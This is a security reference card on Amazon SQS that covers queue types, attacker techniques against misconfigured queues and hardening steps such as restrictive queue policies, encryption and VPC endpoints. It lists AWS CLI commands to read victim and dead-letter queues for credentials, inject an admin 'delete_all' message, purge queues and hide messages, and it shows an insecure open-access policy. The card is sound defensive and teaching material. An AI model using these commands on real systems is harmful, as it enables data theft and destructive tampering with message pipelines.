Simple Queue Service (SQS) provides managed message queuing for decoupling applications. Queue policies control access. Messages often contain sensitive data and trigger downstream processing.
Best-effort ordering, at-least-once delivery. Unlimited throughput. Messages may be delivered more than once or out of order. Suitable for high-volume decoupling.
Attack note: Messages can be read multiple times until deleted - persistence for attackers
Exactly-once processing, strict ordering. 3,000 messages/sec with batching. Message deduplication prevents replays. Better for ordered transaction processing.
Attack note: Deduplication can be bypassed with unique deduplication IDs
SQS queue misconfigurations allow message theft, injection, and processing pipeline manipulation. Dead-letter queues often contain failed sensitive messages that attackers can access.
aws sqs list-queuesaws sqs get-queue-attributes \
--queue-url https://sqs.us-east-1.amazonaws.com/123456789012/my-queue \
--attribute-names Allaws sqs get-queue-attributes \
--queue-url URL \
--attribute-names Policyaws sqs list-dead-letter-source-queues --queue-url URLaws sqs get-queue-attributes \
--queue-url URL \
--attribute-names ApproximateNumberOfMessagesGold Mine: Dead-letter queues often contain exception data with stack traces, credentials, and sensitive payloads.
aws sqs receive-message \
--queue-url https://sqs.us-east-1.amazonaws.com/VICTIM/queue \
--max-number-of-messages 10 \
--wait-time-seconds 20aws sqs send-message \
--queue-url https://sqs.us-east-1.amazonaws.com/TARGET/process-queue \
--message-body '{"action":"admin","command":"delete_all"}'aws sqs send-message-batch \
--queue-url URL \
--entries '[{"Id":"1","MessageBody":"payload1"},{"Id":"2","MessageBody":"payload2"}]'aws sqs purge-queue --queue-url https://sqs.us-east-1.amazonaws.com/TARGET/queue# First find DLQ from RedrivePolicy
aws sqs receive-message \
--queue-url https://sqs.us-east-1.amazonaws.com/TARGET/queue-dlq \
--max-number-of-messages 10aws sqs change-message-visibility \
--queue-url URL \
--receipt-handle HANDLE \
--visibility-timeout 43200{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": "*",
"Action": ["SQS:SendMessage", "SQS:ReceiveMessage"],
"Resource": "arn:aws:sqs:us-east-1:123456789012:my-queue"
}]
}Anyone can send and receive messages - full queue compromise
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:root"},
"Action": ["SQS:*"],
"Resource": "arn:aws:sqs:us-east-1:123456789012:my-queue"
}]
}Only same account can access the queue
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "SQS:SendMessage",
"Resource": "arn:aws:sqs:us-east-1:123456789012:queue"
}]
}Any SNS topic can send - should have source ARN condition
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "SQS:SendMessage",
"Resource": "arn:aws:sqs:us-east-1:123456789012:queue",
"Condition": {
"ArnEquals": {
"aws:SourceArn": "arn:aws:sns:us-east-1:123456789012:my-topic"
}
}
}]
}Only specific SNS topic can send messages
Encrypt messages at rest with SQS-managed or KMS keys.
aws sqs set-queue-attributes \
--queue-url URL \
--attributes KmsMasterKeyId=alias/sqs-keyNever use Principal: * without conditions. Use source ARN/account conditions.
Apply same or stricter policies to DLQs as main queues.
Log SendMessage and ReceiveMessage operations for auditing.
Access SQS through VPC endpoint to avoid public internet.
aws ec2 create-vpc-endpoint \
--vpc-id vpc-xxx \
--service-name com.amazonaws.us-east-1.sqsMinimize message retention period to reduce exposure window.
AWS SQS Security Card • Toc Consulting
Always obtain proper authorization before testing